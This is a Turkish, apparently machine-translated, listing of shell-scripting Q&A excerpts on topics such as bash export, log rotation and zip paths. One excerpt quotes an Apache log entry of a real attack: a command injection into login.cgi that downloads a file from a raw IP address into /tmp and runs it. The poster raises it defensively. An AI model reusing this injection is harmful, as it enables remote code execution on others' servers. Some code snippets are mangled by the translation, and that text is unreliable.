«shell-script» etiketlenmiş sorular

Kabuk komut dosyası, bir işletim sisteminin kabuğu veya komut satırı yorumlayıcısı için yazılmış bir komut dosyasıdır.




3
BASH’da ihracat ne yapıyor? [çift]
Olası Çoğalt: bash'ta “a = b” ve “export a = b” arasındaki fark Kabul etmek zor, ama exportbir ortam değişkenine tam olarak ne yaptığını gerçekten anlamadım . Bir değişkeni dışa aktarmazsam, bazen alt işlemlerde göremeyeceğimi biliyorum, ancak bazen görebildiğim gibi görünüyor. Söylediğimde gerçekten neler oluyor export foo=5 ve ne zaman …


4
Bir bash betiğine parametrelerden birinin bir dizeyle eşleşip eşleşmediğini kontrol edin
Bir bash betiğine iletilen parametrelerin bir dizgeyle eşleşip eşleşmediğini kontrol etmek istediğim bir komut dosyası yazmaya çalışıyorum. Şu an onu kurma yöntemim if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] ama çok sayıda parametre olabilir, bu yüzden bunu yapmanın daha iyi …

9
Stdout'un günlük dönüşü?
Stdout ve stderr'e bilgi yazabilen bir Linux programım var. Bu çıktıyı bir dosyaya yönlendiren bir kabuk betiğim var /var/log. (Via >>ve 2>&1.) Bu günlük dosyasını döndürmenin bir yolu var mı? (maksimum boyut, daha sonra farklı bir dosyaya geçin, yalnızca sınırlı sayıda dosyayı saklayın) logrotateProgramdan bahseden , kulağa hoş gelen birkaç …

3
Zip dosyasında istenmeyen yollardan kaçının
Bazı dosyaları paketlemek için bir kabuk betiği yapıyorum. Böyle bir dizini sıkıştırıyorum: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Sorun, sonuçta ortaya çıkan out.zip arşivinin içindeki tüm dosya yoluna sahip olmasıdır. Yani, açıldığında, içinde "/ Kullanıcılar / ben / gelişme / başka bir şey /" yolu bulunacaktır. Bir dizini arşive koyarken bu derin …
49 macos  bash  zip  path  shell-script 


2
"Echo $ (stuff)" veya "echo` stuff "ile ilgili yanlış olan nedir?
Aşağıdakilerden birini kullandım echo $(stuff) echo `stuff` ( stufförneğin, örneğin pwdveya datedaha karmaşık bir şey). Sonra bu sözdiziminin yanlış olduğu, kötü bir uygulama, zarif olmayan, aşırı, gereksiz, aşırı karmaşık, kargo kültü programlaması, noobish, naif vb. Ama komuta yapar , işleri, tam olarak ne sorunu nedir?
31 shell-script  sh  echo 

2
Bu bash betiği ne işe yarıyor? [Hack Girişimi]
Son zamanlarda aşağıdaki tuhaf satırları sunucularımın apache günlüklerinde fark ettim: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Bu yüzden özel bir Fail2Ban filtresi yaptım ve bu /login.cgi URL'lerini isteyen IP'leri yasaklamaya başladım. Ama ne yapmaya çalıştıklarını merak ediyordum, bu yüzden yürütmeye çalıştıkları senaryoyu çektim ve …

5
Bir dizindeki tüm uzantı türlerinin listesi nasıl çıkarılır?
Bir dizinde ve tekrar tekrar alt dizinlerinde, bir dizindeki her dizinin işlendiği anlamına gelir, dizindeki benzersiz uzantıların tam bir listesini nasıl derlerim? OS, güncel güncellemelere sahip Windows XP'dir, ancak ne yaptığını söyleyebilirsem komut dosyası çalıştırıyorum, gerçi beğenmediğim için dot-net kurmamayı tercih ederim.

2
Shell komut dosyası dosyaya yeni satır eko
Bir kabuk betiğindeki değişkenler arasındaki bir dosyaya yeni bir satır eko etmek istiyorum. İşte kodum: var1 = "Merhaba" var2 = "Dünya!" logwrite = "$ var1 [Yeni bir satır eklemek istediğim yer] $ var2 echo "$ logwrite" >> / Kullanıcı / kullanıcı adı / Masaüstü / kullanıcı.txt Şu anda komut dosyasını …


3
Mac OS X Yosemite'deki bash nasıl güncellenir?
Sadece bash betiğini biraz öğrenmeye çalışıyorum. Eski bash versiyonum: Bash version 3.2.53(1)-release... Mac os x yosemite üzerindeki bashımı homebrew ile güncelledim: brew update brew install bash Sonra terminal özelliklerinde standart kabuk yolunu /bin/bashdeğiştirdim /usr/local/bin/bash(Anladığım kadarıyla homebrew güncellenmiş bash'i yüklüyor). Sonra sonucu tekrar kontrol ettim (ve hepsi iyi gibi görünüyor): $ …

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.